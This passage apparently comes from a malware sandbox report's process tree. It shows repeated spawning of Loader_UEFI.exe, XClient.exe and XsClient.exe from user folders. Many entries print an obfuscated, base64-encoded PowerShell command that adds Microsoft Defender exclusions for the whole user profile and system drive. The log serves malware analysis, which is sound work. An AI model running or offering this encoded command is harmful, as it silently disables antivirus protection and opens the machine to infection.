        "C:\Users\Admin\AppData\Local\XClient.exe"
        33⤵
        
        PID:7844
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        33⤵
        
        PID:7188
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        34⤵
        
        PID:1116
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        35⤵
        
        PID:7260
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        35⤵
        
        PID:3160
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        36⤵
        
        PID:2180
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        36⤵
        
        PID:6816
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        37⤵
        
        PID:8036
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        37⤵
        
        PID:7232
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        38⤵
        
        PID:7664
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        39⤵
        
        PID:8492
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        40⤵
        
        PID:8932
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        40⤵
        
        PID:8988
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        41⤵
        
        PID:8084
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        42⤵
        
        PID:8772
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        43⤵
        
        PID:8292
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        43⤵
        
        PID:8988
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        44⤵
        
        PID:408
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        45⤵
        
        PID:1532
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        45⤵
        
        PID:9092
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        45⤵
        
        PID:2004
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        46⤵
        
        PID:1728
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        47⤵
        
        PID:8672
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        48⤵
        
        PID:1700
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        48⤵
        
        PID:8684
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        48⤵
        
        PID:4460
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        49⤵
        
        PID:9036
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        49⤵
        
        PID:8392
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        50⤵
        
        PID:4460
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        50⤵
        
        PID:2340
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        51⤵
        
        PID:9492
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        51⤵
        
        PID:9536
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        52⤵
        
        PID:9864
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        53⤵
        
        PID:10224
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        54⤵
        
        PID:9680
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        55⤵
        
        PID:10116
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        55⤵
        
        PID:10124
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        55⤵
        
        PID:10136
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        56⤵
        
        PID:9760
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        57⤵
        
        PID:3936
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        57⤵
        
        PID:5820
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        58⤵
        
        PID:1212
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        58⤵
        
        PID:10044
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        59⤵
        
        PID:9244
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        59⤵
        
        PID:9884
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        59⤵
        
        PID:9368
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        60⤵
        
        PID:10160
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        60⤵
        
        PID:10212
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        60⤵
        
        PID:9356
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        60⤵
        
        PID:9724
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        61⤵
        
        PID:9172
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        61⤵
        
        PID:8820
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        62⤵
        
        PID:9708
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        63⤵
        
        PID:10552
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        64⤵
        
        PID:10860
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        64⤵
        
        PID:11028
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        65⤵
        
        PID:9008
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        65⤵
        
        PID:10440
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        66⤵
        
        PID:10984
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        66⤵
        
        PID:11036
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        67⤵
        
        PID:10564
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        67⤵
        
        PID:2004
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        67⤵
        
        PID:10308
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        68⤵
        
        PID:6764
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        69⤵
        
        PID:10396
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        69⤵
        
        PID:10440
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        70⤵
        
        PID:11020
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        70⤵
        
        PID:10980
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        71⤵
        
        PID:8044
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        72⤵
        
        PID:10324
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        72⤵
        
        PID:10612
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        73⤵
        
        PID:6964
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        73⤵
        
        PID:6580
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        73⤵
        
        PID:9340
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        74⤵
        
        PID:11420
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        75⤵
        
        PID:11740
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        76⤵
        
        PID:12204
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        77⤵
        
        PID:11544
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        78⤵
        
        PID:12008
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        78⤵
        
        PID:11568
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        79⤵
        
        PID:11476
        
        C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Loader_UEFI.exe"
        79⤵
        
        PID:12172
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        79⤵
        
        PID:12168
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        79⤵
        
        PID:11432
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        78⤵
        
        PID:12108
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        78⤵
        
        PID:12088
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        77⤵
        
        PID:8488
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        77⤵
        
        PID:10320
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        77⤵
        
        PID:11644
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        76⤵
        
        PID:12192
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        76⤵
        
        PID:12184
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        76⤵
        
        PID:12176
        
        C:\Users\Admin\XsClient.exe
        
        "C:\Users\Admin\XsClient.exe"
        75⤵
        
        PID:11732
        
        C:\Users\Admin\AppData\Local\XClient.exe
        
        "C:\Users\Admin\AppData\Local\XClient.exe"
        75⤵
        
        PID:11724
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAcQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdQBiACMAPgA="
        75⤵
        
        PID:11716
        
        C:\Users\Admin\XsClient.exe
        
